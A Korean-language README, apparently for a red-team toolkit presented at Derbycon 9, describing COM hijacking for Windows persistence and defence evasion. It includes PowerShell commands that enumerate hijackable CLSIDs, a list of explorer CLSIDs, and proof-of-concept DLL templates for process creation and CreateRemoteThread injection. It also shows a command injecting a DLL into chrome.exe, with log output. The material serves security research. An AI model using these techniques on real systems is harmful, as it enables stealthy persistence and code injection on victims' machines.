
COM 하이재킹 발견 및 악용 도구
당신의 COM 하이재킹 공범
저자: David Tulis (@kafkaesqu3)
이 저장소에는 COM 하이재킹을 탐구하기 위한 코드 샘플과 개념 증명(PoC)이 포함되어 있습니다. COM 하이재킹은 지속성 또는 방어 회피에 사용될 수 있는 Windows 사후 침투 기법입니다.
COM 인터페이스, 하이재킹을 찾는 방법, 하이재킹을 악용하는 기법에 대한 자세한 내용은 Derbycon 9에서 발표된 _COM Hijacking Techniques_를 참조하십시오.
Extract-HijackableKeysFromProcmonCSV: Procmon CSV 내보내기에서
하이재킹 가능한 개체를 구문 분석합니다Hijack-CLSID: 주어진 DLL로 CLSID를 하이재킹합니다Hijack-MultipleKeys: 주어진 DLL을 사용하여 여러 CLSID를 동시에 하이재킹하며, 이는
자주 활성화되는 CLSID를 찾는 데
유용합니다CreateProcess로 새 프로세스 생성CreateRemoteThread로 기존 프로세스에 인젝션CreateThread를 사용하여 현재 프로세스에서 스레드 수명 측정COM 하이재킹을 처리하기 위한 헬퍼 스크립트가 포함된 Powershell 스크립트입니다. 주요 기능:
모든 COM 개체 CLSID와 디스크에서 구현 위치를 표시합니다.
$keys = Get-CLSIDRegistryKeys -RegHive HKCR
$results = $keys | % {$guid = Extract-GUIDFromText $_; Map-GUIDToDLL -guid $guid 2> $null }
시스템에서 CLSID 설문 조사를 수행합니다.
$HKCR_keys = Get-CLSIDRegistryKeys -RegHive HKCR
$HKCR_keys | where-object {$_ -like "*inprocserver"} | Measure-Object
$HKCR_keys | where-object {$_ -like "*inprocserver32"} | Measure-Object
$HKCR_keys | where-object {$_ -like "*localserver"} | Measure-Object
$HKCR_keys | where-object {$_ -like "*localserver32"} | Measure-Object
$HKLM_keys = Get-CLSIDRegistryKeys -RegHive HKLM
$HKLM_keys | Measure-Object
$HKCU_keys = Get-CLSIDRegistryKeys -RegHive HKCU
$HKCU_keys | Measure-Object
explorer:{69486DD6-C19F-42e8-B508-A53F9F8E67B8}
explorer:{9E175B6D-F52A-11D8-B9A5-505054503030}
explorer:{30CC9D06-7E62-4966-9777-BC3442E788BD}
explorer:{3eef301f-b596-4c0b-bd92-013beafce793}
explorer:{682159d9-c321-47ca-b3f1-30e36b2ec8b9}
explorer:{6B3B8D23-FA8D-40B9-8DBD-B950333E2C52}
explorer:{9aa46009-3ce0-458a-a354-715610a075e6}
explorer:{9BA05972-F6A8-11CF-A442-00A0C90A8F39}
explorer:{AC36A05C-FB95-4C7A-868C-A43CC8D2D926}
explorer:{B52D54BB-4818-4EB9-AA80-F9EACD371DF8}
explorer:{c2f03a33-21f5-47fa-b4bb-156362a2f239}
시스템에 존재하지 않는 DLL을 참조하는 CLSID 찾기:
Find-MissingLibraries
COM 하이재킹 악용을 위한 3가지 개념 증명 템플릿으로, Derbycon 9 프레젠테이션에서 시연되었습니다:
HijackDLL-Process: DLL이 로드될 때 새 프로세스 생성HijackDLL-CreateRemoteThread: DLL이 로드될 때
CreateRemoteThread API 호출을 사용하여
스레드 인젝션 기법을 수행합니다HijackDLL-Threads: 하이재킹 후 DLL에서 시작된 스레드의
수명을 측정하는 데 유용합니다COM 하이재킹이 프로세스 인젝션에 어떻게 사용될 수 있는지 보여주는 개념 증명:
첫 번째 단계는 하이재킹을 수행하는 것입니다:
COMInjectDotNet.exe chrome.exe C:\COM\COMInjectTarget.dll
하이재킹은 즉시 트리거되지 않으며, 애플리케이션이 실행 중이 아니라면 실행을 시작해야 하거나 몇 가지 기본적인 애플리케이션 작업이 필요할 수 있습니다. 더 자주 트리거되는 더 나은 CLSID가 있을 수 있지만, 이것들로 충분합니다.
COMInjectTarget.dll은 C:\COM의 로그 파일에 진행 상황을 기록합니다. 이 방법은
다른 프로세스 내에서 AllocConsole과 같은 것을 사용하고 콘솔에 출력하는 것보다
더 안정적으로 보입니다.
다음은 기본 chrome.exe
프로세스 내에서 실행되는 주입된 DLL을 보여줍니다:
[*] chrome pid=9104 ppid=4900 (count 0)
[*] chrome pid=9104 ppid=4900 (count 1)
[*] chrome pid=9104 ppid=4900 (count 2)
[*] chrome pid=9104 ppid=4900 (count 3)
[*] chrome pid=9104 ppid=4900 (count 4)
[*] chrome pid=9104 ppid=4900 (count 5)
현재 지원되는 프로세스는 다음과 같습니다:
COM 및 COM 하이재킹에 대해 자세히 알아보려면: